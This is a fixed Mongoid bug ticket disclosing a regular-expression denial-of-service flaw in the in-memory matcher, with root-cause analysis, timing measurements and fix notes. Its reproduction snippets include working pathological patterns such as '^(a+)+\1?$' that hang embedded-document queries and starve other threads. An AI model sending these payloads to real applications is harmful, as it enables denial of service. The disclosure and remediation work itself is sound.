ExportXMLWordPrintableJSON

    • Type: Bug
    • Resolution: Fixed
    • Priority: Critical - P2
    • 9.1.1, 9.0.12, 8.1.13, 8.0.13, 7.6.2
    • Affects Version/s: 9.1.0, 8.1.12, 8.0.12, 7.6.1, 9.0.11
    • Component/s: None
    • None
    • None
    • 1
    • Ruby Drivers
    • Not Needed
    • None
    • None
    • None
    • None
    • None
    • None

      Remediation ticket for SECBUG-4339, validated as High.

      Problem

      Mongoid's in-memory matcher compiles and executes application-supplied regular expressions with no time limit, no complexity limit, and no pattern vetting, synchronously in the caller's thread.

      Two things combine:

      1. A plain String supplied as a $regex condition value is silently promoted to BSON::Regexp::Raw in lib/mongoid/matcher/field_expression.rb:38-39, then compiled into a live Ruby Regexp in lib/mongoid/matcher/regex.rb:23. An inert string handed to the query API becomes executable pattern code.
      2. Queries against an embedded association are evaluated in memory. lib/mongoid/contextual/memory.rb:177-181 calls doc._matches?(criteria.selector) for every candidate document in the caller's thread, so the compiled pattern runs locally rather than on the server.

      The result is that an application which builds a query condition from end-user input (an ordinary search box) can be made to consume unbounded CPU inside its own process. For a non-embedded query the same condition is sent to the server and this does not arise; the in-memory evaluation path is what makes it local.

      Execution sinks

      • lib/mongoid/matcher/eq_impl_with_regexp.rb:22 and :24 - bare value =~ condition, compiling BSON::Regexp::Raw at :24
      • lib/mongoid/matcher/regex.rb:33 and :36 - same, for scalar and array values

      Reachable through more operators than the original report lists. $regex, $in, $nin (via In), $not, $all and $elemMatch all route to these two modules, as does the public Matchable#_matches? API and HasMany::Proxy#remove_all at lib/mongoid/association/referenced/has_many/proxy.rb:543.

      There is no mitigation anywhere in lib/: no Regexp.timeout is set and no pattern is inspected before compilation.

      Why this is Mongoid's problem rather than the application's

      The usual position is that a query builder faithfully translates what the application gives it, and sanitizing end-user input is the application's job. That does not apply here, because Mongoid transforms the input into something more dangerous than what it received: a String becomes a compiled, executed Regexp. The danger is created by our code, not passed through by it.

      Measured impact

      Verified on Mongoid 9.1.0 with Ruby 4.0.1 and 3.3.10.

      A pathological match holds the GVL. A busy sibling thread received 34 scheduling ticks over 3 seconds while a match was running, against a baseline of 2394 - roughly 98.6 percent starvation. A single request therefore stalls the whole thread pool of a Puma worker, not merely one core.

      Cost is multiplied by (documents in the embedded collection) x ($in condition elements) x (array value elements):

      groups body_len docs $in elapsed
      400 500000 1 1 8.063s
      200 10000 20 10 14.379s
      200 10000 100 10 72.657s

      Ruby version behaviour

      Ruby 3.2 introduced memoization that makes most matching linear in time, but it does not close this.

      The memoization is disabled - Regexp.linear_time? returns false - for patterns containing a backreference, a subexpression call (backslash-g followed by the group name in angle brackets), or a capturing group inside a look-around or atomic group. Note that a bare look-around does not disable it: ^(?=(a+)$)a+X hangs, while ^(?=(?:a)+$)a+X does not. Such patterns backtrack exponentially and hang on a 41-character subject.

      More importantly, the issue does not require any of those constructs. Memoized matching is O(pattern length x subject length), and the attacker supplies the pattern. The 72-second measurement above used a pattern for which Regexp.linear_time? returns true.

      Mongoid's required_ruby_version is >= 2.7 (>= 2.6 on 8.0.x). On Ruby 2.7 through 3.1 there is neither memoization nor Regexp.timeout, so any classic catastrophic-backtracking pattern applies.

      Reproduction

      Shared setup. No server round trip is needed for the matching itself; the client is configured only because Mongoid requires one.

      require 'mongoid'
      require 'benchmark'
      
      Mongoid.configure do |config|
        config.clients.default = { hosts: ['localhost:27017'], database: 'mongoid_redos' }
      end
      
      class Note
        include Mongoid::Document
        embedded_in :author
        field :body, type: String
        field :tags, type: Array
      end
      
      class Author
        include Mongoid::Document
        embeds_many :notes
      end
      

      Case 1 - exponential backtracking. The pattern is a plain String, exactly as it would arrive from request params. Never returns; requires SIGKILL or a Timeout.

      author  = Author.new(notes: [Note.new(body: 'a' * 40 + 'X')])
      pattern = '^(a+)+\1?$'
      
      author.notes.where(body: { '$regex' => pattern }).to_a
      

      The same hangs through every other entry point:

      author.notes.where(body: { '$in' => [BSON::Regexp::Raw.new(pattern)] }).to_a
      author.notes.where(tags: { '$regex' => pattern }).to_a
      author.notes.first._matches?('body' => { '$regex' => pattern })
      

      Case 2 - no backreference and no look-around, so Ruby 3.2+ memoization is fully in effect, yet the request still costs over a minute of pinned CPU.

      pattern = '^' + ('(a*)' * 200) + '*$'
      Regexp.linear_time?(Regexp.new(pattern))  # => true
      
      author = Author.new(notes: Array.new(100) { Note.new(body: 'a' * 10_000 + 'X') })
      cond   = Array.new(10) { BSON::Regexp::Raw.new(pattern) }
      
      Benchmark.realtime { author.notes.where(body: { '$in' => cond }).to_a }
      # => 72.657 on ruby 4.0.1 / mongoid 9.1.0
      

      Case 3 - GVL starvation, substantiating the impact claim above.

      author = Author.new(notes: [Note.new(body: 'a' * 40 + 'X')])
      sel    = { body: { '$regex' => '^(a+)+\1?$' } }
      
      ticks = 0
      stop  = false
      ticker = Thread.new { until stop; ticks += 1; sleep 0.001; end }
      Thread.new { author.notes.where(sel).to_a }
      sleep 3
      stop = true
      ticker.join
      ticks  # => 34, against a baseline of 2394 with no match running
      

      Case 4 - confirming that a String really is turned into a live Regexp.

      Regexp.mongoize('^(a+)+\1?$')                # => /^(a+)+\1?$/
      BSON::Regexp::Raw.new('^(a+)+\1?$').compile  # => /^(a+)+\1?$/
      

      Notes towards a fix

      Both existing escape hatches work, but neither is on by default and neither is Mongoid's:

      • Timeout.timeout does interrupt a pathological match - the engine checks for interrupts roughly every 90 ms - so Rack::Timeout is an effective compensating control for applications that already run it.
      • Setting Regexp.timeout raises Regexp::TimeoutError and aborts the match.

      A per-Regexp timeout cannot simply be threaded through the existing code, because both BSON::Regexp::Raw#compile and Regexp.mongoize return a Regexp whose timeout is nil. A fix has to pass timeout: at Mongoid's own compile sites (lib/mongoid/matcher/regex.rb:23 and lib/mongoid/extensions/regexp.rb:21,23), presumably behind a new configuration option with a sensible default, and decide what happens when the limit is hit - raising a Mongoid error is likely better than treating the document as non-matching, which would silently change query results.

      Affected versions

      All maintained releases. The matcher in its current form dates from 7.2.0 (commit b5db77fe3, July 2020); before that Mongoid::Matchable::Regexp performed equivalent matching. Not a master-only issue.

      Scope

      Mongoid-local. The Ruby driver has no in-memory selector matcher, and in-memory evaluation of a selector is an ODM feature with no peer implementation in the other drivers.

      Related by root cause, though not duplicates - both concern unvetted String to Regexp promotion but have different sinks: SECBUG-4343 and SECBUG-4366.

            Assignee:
            Jamis Buck
            Reporter:
            Dmitry Rybakov
            Votes:
            0 Vote for this issue
            Watchers:
            1 Start watching this issue

              Created:
              Updated:
              Resolved: